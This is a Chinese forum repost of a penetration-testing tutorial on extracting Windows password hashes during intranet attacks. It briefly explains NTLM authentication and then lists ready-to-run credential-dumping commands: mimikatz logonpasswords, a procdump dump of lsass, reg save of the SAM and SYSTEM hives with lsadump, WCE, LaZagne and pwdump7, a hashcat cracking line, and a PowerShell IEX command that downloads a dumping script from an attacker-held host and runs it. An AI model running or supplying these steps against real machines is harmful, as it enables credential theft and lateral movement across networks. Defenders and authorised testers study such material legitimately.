搜索

[18038] 2021-08-12_【内网渗透系列】-获取windowshash的几种方式（文中附工具下载链接）

文档创建者：s7ckTeam
浏览次数：2
最后更新：2025-01-18
2021-08-12_【内网渗透系列】-获取windowshash的几种方式（文中附工具下载链接） 【 内 网 渗 透 系 列 】 -   获 取 w i n d o w s   h a s h 的 几 种 方 式 （ 文 中 附 工 具 下 载 链 接 ） H a c k i n g 黑 白 红   H a c k i n g 黑 白 红   2 0 2 1 - 0 8 - 1 2             在 内 网 渗 透 中 ， 当 攻 击 者 获 取 到 内 网 某 台 机 器 的 控 制 权 后 ， 会 议 被 攻 陷 的 主 机 为 跳 板 ， 通 过 收 集 域 内 凭 证 等 各 种 方 法 ， 访 问 域 内 其 他 机 器 ， 进 一 步 扩 大 资 产 范 围 。 通 过 此 类 手 段 ， 攻 击 者 最 终 可 能 获 得 域 控 制 器 的 访 问 权 限 ， 甚 至 完 全 控 制 基 于 W i n d o w s 操 作 系 统 的 整 个 内 网 环 境 ， 控 制 欲 环 境 下 的 全 部 机 器 。 0 x 0 0   W i n d o w s 下 安 全 认 证 机 制 下 安 全 认 证 机 制 W i n d o w s 下 的 安 全 认 证 机 制 总 共 有 两 种 ， 一 种 是 基 于 N T L M 的 认 证 方 式 ， 主 要 用 在 早 期 的 W i n d o w s 工 作 组 环 境 中 ； 另 一 种 是 基 于 K e r b e r o s 的 认 证 方 式 ， 主 要 用 在 域 环 境 中 。 这 里 主 要 对 N T L M 的 认 证 流 程 做 一 下 说 明 ： 1 、 首 先 在 客 户 端 中 输 入 u s e r n a m e ， p a s s w o r d 和 d o m a i n ， 然 后 客 户 端 会 把 密 码 进 行 H a s h 后 的 值 先 缓 存 到 本 地 。 2 、 C l i e n t 将 u s e r n a m e 的 明 文 发 送 给 D C （ 域 控 ） 。 3 、 D C 会 生 成 一 个 1 6 字 节 的 随 机 数 ， 也 就 是 挑 战 码 （ C h a l l e n g e ） , 然 后 再 传 回 给 C l i e n t 。 4 、 当 C l i e n t 收 到 挑 战 码 以 后 ， 会 先 复 制 一 份 ， 然 后 和 缓 存 中 的 密 码 H a s h 再 一 同 混 合 H a s h 一 次 ， 混 合 后 的 值 称 为 r e s p o n s e ， 之 后 C l i e n t 再 将 c h a l l e n g e ， r e s p o n s e 以 及 u s e r n a m e 一 并 都 传 给 s e r v e r 。 5 、 S e r v e r 端 在 收 到 c l i e n t 传 过 来 的 这 三 个 值 以 后 会 把 它 们 都 转 发 给 D C 。 6 、 当 D C 接 到 过 来 的 这 三 个 值 的 以 后 , 会 根 据 u s e r n a m e 到 域 控 的 账 号 数 据 库 ( n t d s . d i t ) 里 面 找 到 该 u s e r n a m e 对 应 的 h a s h , 然 后 把 这 个 h a s h 拿 出 来 和 传 过 来 的 c h a l l e n g e 值 再 混 合 h a s h 。 7 、 将 混 合 后 的 h a s h 值 跟 传 来 的 r e s p o n s e 进 行 比 较 , 相 同 则 认 证 成 功 , 反 之 , 则 失 败 , 当 然 , 如 果 是 本 地 登 录 , 所 有 验 证 肯 定 也 全 部 都 直 接 在 本 地 进 行 了 。 0 x 0 1   w i n d o w s   h a s h 介 绍 介 绍
N T M L     h a s h 是 指 在 w i n d o w s 系 统 下 的 S e c u r i t y   A c c o u n t   M a n a g e r 中 保 存 的 用 户 密 码 h a s h 该 h a s h 的 生 成 方 法 ： 将 明 文 口 令 转 换 成 十 六 进 制 的 格 式 ； 转 换 成 U n i c o d e 格 式 ， 即 在 每 个 字 节 之 后 添 加 0 x 0 0 ； 对 U n i c o d e 字 符 串 作 M D 4 加 密 ， 生 成 3 2 位 的 十 六 进 制 数 字 串 ； 如 测 试 测 试 密 码 为 h a h a 1 2 3 转 成 十 六 进 制 为 ： 6 8 6 1 6 8 6 1 3 1 3 2 3 3 u n i c o d e 转 换 ： 6 8 0 0 6 1 0 0 6 8 0 0 6 1 0 0 3 1 0 0 3 2 0 0 3 3 0 0 m d 4 加 密 ： 8 7 e d 0 1 0 1 e 5 3 2 3 2 2 a 4 5 6 6 d 6 7 5 f 1 6 2 7 d 3 0 测 试 环 境 ： w i n 7 0 x 0 2     w i n d o w s   h a s h 值 的 获 取 值 的 获 取 1 、 利 用   m i m i k a t z   获 取 明 文 密 码 m i m i k a t z 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / g e n t i l k i w i / m i m i k a t z / r e l e a s e s 根 据 下 载 文 件 夹 中 的 r e a d m e p r i v i l e g e : : d e b u g s e k u r l s a : : l o g o n p a s s w o r d s
获 取 的 S H A 1 为 加 密 后 的 密 码 ， 该 加 密 字 段 进 行 m d 5 解 密 即 可 ， 存 在 空 密 码 的 用 户 也 会 抓 取 到 一 盒 哈 希 值 ， 将 该 s h a 1 解 密 后 其 实 是 个 空 字 段
2 、 利 用   p r o c d u m p   &   m i m i k a t z   获 取 密 码 （ 推 荐 使 用 ） p r o c d u m p 是   M i c r o s o f t   S y s i n t e r n a l s   t o o l s   中 的 工 具 ， 它 的 主 要 目 的 是 监 控 应 用 程 序 的 C P U 异 常 动 向 ,   并 在 此 异 常 时 生 成 c r a s h d u m p 文 件 ,   供 研 发 人 员 和 管 理 员 确 定 问 题 发 生 的 原 因 .   你 还 可 以 把 它 作 为 生 成 d u m p 的 工 具 使 用 在 其 他 的 脚 本 中 。 p r o c d u m p 下 载 地 址 ： h t t p s : / / d o c s . m i c r o s o f t . c o m / z h - c n / s y s i n t e r n a l s / d o w n l o a d s / p r o c d u m p 以 管 理 员 身 份 运 行 c m d ， 利 用 p r o c d u m p 导 出 l s a s s 进 程 文 件 p r o c d u m p . e x e   - a c c e p t e u l a   - m a   l s a s s . e x e 导 出 结 束 后 利 用 m i m i k a t z 读 出 内 容 m i m i k a t z . e x e   " s e k u r l s a : : m i n i d u m p   l s a s s . d m p "   " s e k u r l s a : : l o g o n P a s s w o r d s   f u l l "   e x i t ) 3 、 利 用   p w d u m p 7   获 取 密 码 下 载 地 址 ： h t t p : / / p a s s w o r d s . o p e n w a l l . n e t / b / p w d u m p / p w d u m p 7 . z i p 管 理 员 权 限 运 行 c m d
获 取 加 密 后 的 h a s h ， 可 登 录 网 站 h t t p s : / / w w w . o b j e c t i f - s e c u r i t e . c h / o p h c r a c k ， 进 行 解 密 也 可 以 用 h a s h c a t 进 行 破 解 , 具 体 使 用 可 参 考 ; h t t p s : / / x z . a l i y u n . c o m / t / 4 0 0 8 h a s h c a t   - a   3   - m   1 0 0 0     - - f o r c e   2 0 9 C 6 1 7 4 D A 4 9 0 C A E B 4 2 2 F 3 F A 5 A 7 A E 6 3 4   ? l ? l ? l ? l ? l 4 、 利 用 S A M i n s i d e 获 取 h a s h S A M I n s i d e ： 它 能 从 S A M 注 册 文 件 中 提 取 用 户 名 以 及 密 码 “ 导 入 本 地 用 户 通 过 任 务 计 划 ”
5 、 w c e . e x e   获 取 h a s h 下 载 地 址 ： h t t p s : / / w w w . a m p l i a s e c u r i t y . c o m / r e s e a r c h / w i n d o w s - c r e d e n t i a l s - e d i t o r / 保 存 输 出 到 文 件 内 ： w c e . e x e     - o   o u t p u t . t x t 获 取 明 文 密 码 ： w c e . e x e   - w
6 、 S h a r p D u m p . e x e 7 、 M i m i k a t z   调 用   l s a d u m p （ 推 荐 使 用 ） 该 方 法 在 w i n 7 、 w i n 1 0   下 均 可 适 用   使 用   R e g   需 要 N T / S Y S T E M 权 限   ： r e g   s a v e   H K L M S Y S T E M   s y s t e m . h i v r e g   s a v e   H K L M S A M   s a m . h i v r e g   s a v e   H K L M s e c u r i t y   s e c u r i t y . h i v
M i m i k a t z   调 用   l s a d u m p l s a d u m p : : s a m   / s y s t e m : s y s t e m . h i v   / s a m : s a m . h i v 8 、 Q u a r k s P w D u m p 工 具 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s s s s a n r / Q u a r k s P w D u m p - o f f - l i n e Q u a r k s p w d u m p . e x e   - d h l
9 、 L a Z a g n e 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / A l e s s a n d r o Z / L a Z a g n e / r e l e a s e s / L a Z a g n e   是 用 于 获 取 存 储 在 本 地 计 算 机 上 的 大 量 密 码 的 开 源 应 用 程 序 ， 存 在 l i n u x 版 、 w i n d o w s 版 、 m a c 版 ， L a Z a g n e . e x e 可 捕 获 的 密 码 会 全 一 些 ， 可 抓 取 浏 览 器 、 无 线 等 相 关 密 码 ， 获 取 w i n d o w s   h a s h 值 。 L a Z a g n e . e x e     w i n d o w s 1 0 、 p o w e r s h e l l 一 、 G e t - P a s s H a s h e s . p s 1 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / s a m r a t a s h o k / n i s h a n g / b l o b / m a s t e r / G a t h e r / G e t - P a s s H a s h e s . p s 1 使 用 方 法 ： （ x x . x x . x x . x x 为 存 放 s h e l l 的 i p 地 址 ） p o w e r s h e l l   I E X   ( N e w - O b j e c t   N e t . W e b C l i e n t ) . D o w n l o a d S t r i n g ( ' h t t p : / / x x . x x . x x . x x / G e t - P a s s H a s h e s . p s 1 ' ) ; G e t - P a s s H a s h e s — — — — — — — — — — — — — — — —
参 考 ： h t t p s : / / b l o g . c s d n . n e t / l a n s e f l y 1 9 9 0 / a r t i c l e / d e t a i l s / 1 0 4 5 2 7 2 0 9 h t t p s : / / w w w . s e c r s s . c o m / a r t i c l e s / 2 4 9 0 3
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理